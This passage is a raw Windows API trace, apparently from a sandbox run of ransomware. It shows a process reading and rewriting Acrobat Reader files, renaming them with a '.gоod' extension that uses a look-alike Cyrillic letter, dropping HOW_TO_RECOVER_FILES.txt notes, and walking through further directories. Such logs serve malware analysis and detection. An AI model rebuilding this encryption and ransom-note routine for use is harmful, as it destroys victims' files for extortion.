lpFilePart=0x0) returned 0x8e [0260.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0260.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x3908180 | out: lpFileInformation=0x3908180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb)) returned 1 [0260.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0260.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8e [0260.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.882] GetFileType (hFile=0x808) returned 0x1 [0260.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.882] GetFileType (hFile=0x808) returned 0x1 [0260.882] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0260.882] ReadFile (in: hFile=0x808, lpBuffer=0x39086e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39086e8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0260.961] CloseHandle (hObject=0x808) returned 1 [0262.470] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8e [0262.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0262.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.470] GetFileType (hFile=0x858) returned 0x1 [0262.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0262.470] GetFileType (hFile=0x858) returned 0x1 [0262.470] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x602eb [0262.470] WriteFile (in: hFile=0x858, lpBuffer=0x3a6c8b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3a6c8b8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0262.471] CloseHandle (hObject=0x858) returned 1 [0262.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8e [0262.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0262.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.472] GetFileType (hFile=0x858) returned 0x1 [0262.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0262.472] GetFileType (hFile=0x858) returned 0x1 [0262.472] ReadFile (in: hFile=0x858, lpBuffer=0x3a6ec20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3a6ec20*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0262.547] CloseHandle (hObject=0x858) returned 1 [0262.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8e [0262.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0262.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.548] GetFileType (hFile=0x858) returned 0x1 [0262.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0262.548] GetFileType (hFile=0x858) returned 0x1 [0262.548] WriteFile (in: hFile=0x858, lpBuffer=0x3a6d8d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3a6d8d0*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0262.548] CloseHandle (hObject=0x858) returned 1 [0262.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8e [0262.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js.gоod", lpFilePart=0x0) returned 0x93 [0262.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0262.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98b41020, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x602fb)) returned 1 [0262.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0262.548] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js.gоod")) returned 1 [0262.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8c [0262.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0262.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0263.005] GetFileType (hFile=0x808) returned 0x1 [0263.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0263.005] GetFileType (hFile=0x808) returned 0x1 [0263.086] WriteFile (in: hFile=0x808, lpBuffer=0x39243b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x39243b8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0263.087] CloseHandle (hObject=0x808) returned 1 [0263.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0263.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins", lpFilePart=0x0) returned 0x88 [0263.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0263.088] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.088] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpdf", cAlternateFileName="")) returned 1 [0263.088] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="epdf", cAlternateFileName="")) returned 1 [0263.088] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="epdf", cAlternateFileName="")) returned 0 [0263.089] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0263.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0263.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0263.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0263.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins", lpFilePart=0x0) returned 0x88 [0263.089] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0263.089] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.089] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpdf", cAlternateFileName="")) returned 1 [0263.089] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="epdf", cAlternateFileName="")) returned 1 [0263.089] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.090] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0263.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0263.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0263.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaaf0) returned 1 [0263.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf", nBufferLength=0x105, lpBuffer=0x203ea590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf", lpFilePart=0x0) returned 0x8d [0263.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\*", lpFindFileData=0x203ea810 | out: lpFindFileData=0x203ea810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0263.091] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.091] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0263.091] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0263.091] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.091] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0263.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eaa30) returned 1 [0263.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9f0) returned 1 [0263.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaaf0) returned 1 [0263.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf", nBufferLength=0x105, lpBuffer=0x203ea590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf", lpFilePart=0x0) returned 0x8d [0263.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\*", lpFindFileData=0x203ea810 | out: lpFindFileData=0x203ea810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0263.092] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.092] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0263.092] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0263.092] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, 